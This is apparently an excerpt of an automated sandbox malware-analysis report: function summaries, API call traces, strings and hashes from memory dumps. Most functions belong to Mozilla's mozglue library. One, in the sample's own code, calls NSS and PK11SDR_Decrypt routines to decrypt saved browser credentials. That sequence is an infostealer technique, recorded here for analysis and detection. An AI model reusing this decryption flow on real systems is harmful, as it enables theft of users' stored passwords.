Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C7455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C71E1A5), ref: 6C745606
LoadLibraryW.KERNEL32(gdi32,?,6C71E1A5), ref: 6C74560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C745633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C74563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C74566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C74567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C745696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C7456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C7456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C7456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C7456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C745716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C74572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C745748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C745761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C74577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C745793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C7457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C7457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C7457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C7457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C7457FF

Strings

user32, xrefs: 6C745601
RegisterClassW, xrefs: 6C7456AC
AreDpiAwarenessContextsEqual, xrefs: 6C745637
MonitorFromWindow, xrefs: 6C74578D
EnableNonClientDpiScaling, xrefs: 6C745666
LoadIconW, xrefs: 6C74575B
StretchDIBits, xrefs: 6C7457CC
DeleteObject, xrefs: 6C7457F9
ReleaseDC, xrefs: 6C745742
GetDpiForWindow, xrefs: 6C745690
GetSystemMetricsForDpi, xrefs: 6C745677
GetMonitorInfoW, xrefs: 6C7457A2
ShowWindow, xrefs: 6C7456DE
FillRect, xrefs: 6C745729
GetThreadDpiAwarenessContext, xrefs: 6C74562D
gdi32, xrefs: 6C74560A
LoadCursorW, xrefs: 6C745774
CreateSolidBrush, xrefs: 6C7457E4
GetWindowDC, xrefs: 6C745710
CreateWindowExW, xrefs: 6C7456C5
SetWindowLongPtrW, xrefs: 6C7457B7
SetWindowPos, xrefs: 6C7456F7

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 60683bab02c07ab5ecf1029efae68a3360af4c0452225f09b616379e6ab665bc
Instruction ID: cd1fe854c7d83ab82d2f7df8b75d8e796dc90618fd79cc4aa83ca19ad1ddd976
Opcode Fuzzy Hash: 60683bab02c07ab5ecf1029efae68a3360af4c0452225f09b616379e6ab665bc
Instruction Fuzzy Hash: 515122746117129BDB419F379F58A363ABCAB0B345B10843AB921E2A42EF74DD00DF61

Function 6C72CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C6F582D), ref: 6C72CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C6F582D), ref: 6C72CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C75FE98,?,?,?,?,?,6C6F582D), ref: 6C72CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C6F582D), ref: 6C72CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C6F582D), ref: 6C72CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C6F582D), ref: 6C72CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6F582D), ref: 6C72CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C72CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C72CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C72CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C72CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C72CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C72CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C72CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C72CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C72CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C72CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C72CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C72CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C72CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C72CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C72CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C72CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C72CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C72CE8A

Strings

stackwalk, xrefs: 6C72CCF8
nostacksampling, xrefs: 6C72CD7C
preferencereads, xrefs: 6C72CD92
Q^, xrefs: 6C72CD25
screenshots, xrefs: 6C72CCD4
nativeallocations, xrefs: 6C72CDA8
fileioall, xrefs: 6C72CCA8
noiostacks, xrefs: 6C72CCBE
mainthreadio, xrefs: 6C72CC7C
cpuallthreads, xrefs: 6C72CE16
default, xrefs: 6C72CC21
unregisteredthreads, xrefs: 6C72CE58
power, xrefs: 6C72CE84
java, xrefs: 6C72CC37
markersallthreads, xrefs: 6C72CE42
audiocallbacktracing, xrefs: 6C72CDD4
fileio, xrefs: 6C72CC92
Unrecognized feature "%s"., xrefs: 6C72CEA0
jsallocations, xrefs: 6C72CD0E
samplingallthreads, xrefs: 6C72CE2C
seqstyle, xrefs: 6C72CCE6
notimerresolutionchange, xrefs: 6C72CE00
leaf, xrefs: 6C72CC66
processcpu, xrefs: 6C72CE6E
ipcmessages, xrefs: 6C72CDBE

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 03e0956b734404e6cc9d9e2f0e22de15e70acf4718cdb0e78afdce2ad4a3f2d0
Instruction ID: 32db2d6f41bf6aa6cdbf111d1d764abccd0c45de9367ac9b19a84b0392cdaa62
Opcode Fuzzy Hash: 03e0956b734404e6cc9d9e2f0e22de15e70acf4718cdb0e78afdce2ad4a3f2d0
Instruction Fuzzy Hash: 1051A7C1A4562D53FB0431156F2ABAA1409EF7724BF50443AED0AA1E81FF0DE729C6B7

Function 6C6F4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6F4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6F44B2,6C76E21C,6C76F7F8), ref: 6C6F473E
Part of subcall function 6C6F4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C6F474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6F44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6F44D2
InitOnceExecuteOnce.KERNEL32(6C76F80C,6C6EF240,?,?), ref: 6C6F451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6F455C
LoadLibraryW.KERNEL32(?), ref: 6C6F4592
InitializeCriticalSection.KERNEL32(6C76F770), ref: 6C6F45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6F45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6F45BB
InitOnceExecuteOnce.KERNEL32(6C76F818,6C6EF240,?,?), ref: 6C6F4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C6F4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C6F4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6F466D
VerSetConditionMask.NTDLL ref: 6C6F469F
VerSetConditionMask.NTDLL ref: 6C6F46AB
VerSetConditionMask.NTDLL ref: 6C6F46B2
VerSetConditionMask.NTDLL ref: 6C6F46B9
VerSetConditionMask.NTDLL ref: 6C6F46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6F46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6F46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6F46FD

Strings

l, xrefs: 6C6F4578
user32.dll, xrefs: 6C6F4557, 6C6F463F
WRusr.dll, xrefs: 6C6F44B5
kernel32.dll, xrefs: 6C6F44CD
Gvl, xrefs: 6C6F44FC
NativeNtBlockSet_Write, xrefs: 6C6F46F7

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gvl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1534379755
Opcode ID: da155a7f6d7fee1dd28dfae94ec87b66a9df5a257e3d7a50f6cce600dd547a4d
Instruction ID: 63b4452ca6f84501aab8b7baf22af0f1fc68e9153f0047394cbc163fa0549537
Opcode Fuzzy Hash: da155a7f6d7fee1dd28dfae94ec87b66a9df5a257e3d7a50f6cce600dd547a4d
Instruction Fuzzy Hash: 0B612AB06043449FEB019F63CE09BB977B9FB47308F048168E9149BE41D7B09A46CF65

Function 6C72F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C72F8F9

Part of subcall function 6C6F6390: GetCurrentThreadId.KERNEL32 ref: 6C6F63D0
Part of subcall function 6C6F6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6F63DF
Part of subcall function 6C6F6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6F640E

ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72F93A
GetCurrentThreadId.KERNEL32 ref: 6C72F98A
GetCurrentThreadId.KERNEL32 ref: 6C72F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72F716

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

Part of subcall function 6C6EB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C6EB5E0

GetCurrentThreadId.KERNEL32 ref: 6C72F739
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72F746
GetCurrentThreadId.KERNEL32 ref: 6C72F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C76385B,00000002,?,?,?,?,?), ref: 6C72F829
free.MOZGLUE(?,?,00000000,?), ref: 6C72F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C72F866
free.MOZGLUE(?), ref: 6C72FA0C

Part of subcall function 6C6F5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F55E1), ref: 6C6F5E8C
Part of subcall function 6C6F5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F5E9D
Part of subcall function 6C6F5E60: GetCurrentThreadId.KERNEL32 ref: 6C6F5EAB
Part of subcall function 6C6F5E60: GetCurrentThreadId.KERNEL32 ref: 6C6F5EB8
Part of subcall function 6C6F5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F5ECF
Part of subcall function 6C6F5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C6F5F27
Part of subcall function 6C6F5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C6F5F47
Part of subcall function 6C6F5E60: GetCurrentProcess.KERNEL32 ref: 6C6F5F53
Part of subcall function 6C6F5E60: GetCurrentThread.KERNEL32 ref: 6C6F5F5C
Part of subcall function 6C6F5E60: GetCurrentProcess.KERNEL32 ref: 6C6F5F66
Part of subcall function 6C6F5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C6F5F7E

free.MOZGLUE(?), ref: 6C72F9C5
free.MOZGLUE(?), ref: 6C72F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C72F71F
Thread , xrefs: 6C72F789
" attempted to re-register as ", xrefs: 6C72F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C72F9A6

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 35028244d10dc80ee7277692c548b56d5138a41af5586fac19ba49b320d2c5c9
Instruction ID: f2fcc1187ed5e1f518272ce4e5340d45f78cfc8d9daa90824b049bc87b0b3ff2
Opcode Fuzzy Hash: 35028244d10dc80ee7277692c548b56d5138a41af5586fac19ba49b320d2c5c9
Instruction Fuzzy Hash: 868138716043109FD700DF25C948BAABBB5FFC6308F44442DE8859BB51EB34E909CBA6

Function 6C72EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6F4A68), ref: 6C72945E
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C729470
Part of subcall function 6C729420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C729482
Part of subcall function 6C729420: __Init_thread_footer.LIBCMT ref: 6C72949F

GetCurrentThreadId.KERNEL32 ref: 6C72EE60
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72EE6D
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C72EEA5
CloseHandle.KERNEL32(?), ref: 6C72EEB4
free.MOZGLUE(00000000), ref: 6C72EEBB
GetCurrentThreadId.KERNEL32 ref: 6C72EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72EECF

Part of subcall function 6C72DE60: GetCurrentThreadId.KERNEL32 ref: 6C72DE73
Part of subcall function 6C72DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C6F4A68), ref: 6C72DE7B
Part of subcall function 6C72DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C6F4A68), ref: 6C72DEB8
Part of subcall function 6C72DE60: free.MOZGLUE(00000000,?,6C6F4A68), ref: 6C72DEFE
Part of subcall function 6C72DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C72DF38

Part of subcall function 6C71CBE8: GetCurrentProcess.KERNEL32(?,6C6E31A7), ref: 6C71CBF1
Part of subcall function 6C71CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6E31A7), ref: 6C71CBFA

GetCurrentThreadId.KERNEL32 ref: 6C72EF1E
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72EF2B
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72EF59
GetCurrentThreadId.KERNEL32 ref: 6C72EFB0
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72EFBD
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72EFE1
GetCurrentThreadId.KERNEL32 ref: 6C72EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72F000

Part of subcall function 6C7294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7294EE
Part of subcall function 6C7294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C729508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C72F02F

Part of subcall function 6C72F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C72F09B
Part of subcall function 6C72F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C72F0AC
Part of subcall function 6C72F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C72F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C72EED7
[I %d/%d] profiler_pause, xrefs: 6C72F008

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: acb443a4a927ea6804722fb25cb59267c41586a7e4de0d181db905f4aece2f76
Instruction ID: 07457157940dda340c6222baca39096dc30af39c24d96b899bec6c63d3991a32
Opcode Fuzzy Hash: acb443a4a927ea6804722fb25cb59267c41586a7e4de0d181db905f4aece2f76
Instruction Fuzzy Hash: 7751C131A043159FEB105BB7D60C7B67BB8EB47319F14057AE92583F40DB786908C7A6

Function 0040C7D0 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C7E5

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,026796C0,00000000,?,004213F0,00000000,?,?), ref: 0040C8AC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C8C9
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C8D5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C8E8
??2@YAPAXI@Z.MSVCRT ref: 0040C8F5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C919
StrStrA.SHLWAPI(?,026797F8,00420B37), ref: 0040C937
StrStrA.SHLWAPI(00000000,02679828), ref: 0040C95E
StrStrA.SHLWAPI(?,02679E60,00000000,?,004213FC,00000000,?,00000000,00000000,?,0265CB58,00000000,?,004213F8,00000000,?), ref: 0040CAE2
StrStrA.SHLWAPI(00000000,02679D00), ref: 0040CAF9

Part of subcall function 0040C660: memset.MSVCRT ref: 0040C693
Part of subcall function 0040C660: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0265CBC8), ref: 0040C6B1
Part of subcall function 0040C660: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
Part of subcall function 0040C660: PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
Part of subcall function 0040C660: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
Part of subcall function 0040C660: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
Part of subcall function 0040C660: memcpy.MSVCRT ref: 0040C752
Part of subcall function 0040C660: PK11_FreeSlot.NSS3(?), ref: 0040C7A1

StrStrA.SHLWAPI(?,02679D00,00000000,?,00421400,00000000,?,00000000,0265CBC8), ref: 0040CB9A
StrStrA.SHLWAPI(00000000,0265C9F8), ref: 0040CBB1

Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
Part of subcall function 0040C660: lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

lstrlenA.KERNEL32(00000000), ref: 0040CC84
CloseHandle.KERNEL32(00000000), ref: 0040CCDC
NSS_Shutdown.NSS3 ref: 0040CCEA

Strings

, xrefs: 0040C806

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
